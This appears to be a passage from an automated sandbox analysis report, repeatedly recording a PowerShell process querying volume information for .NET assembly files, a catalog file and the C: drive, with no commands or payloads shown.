Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
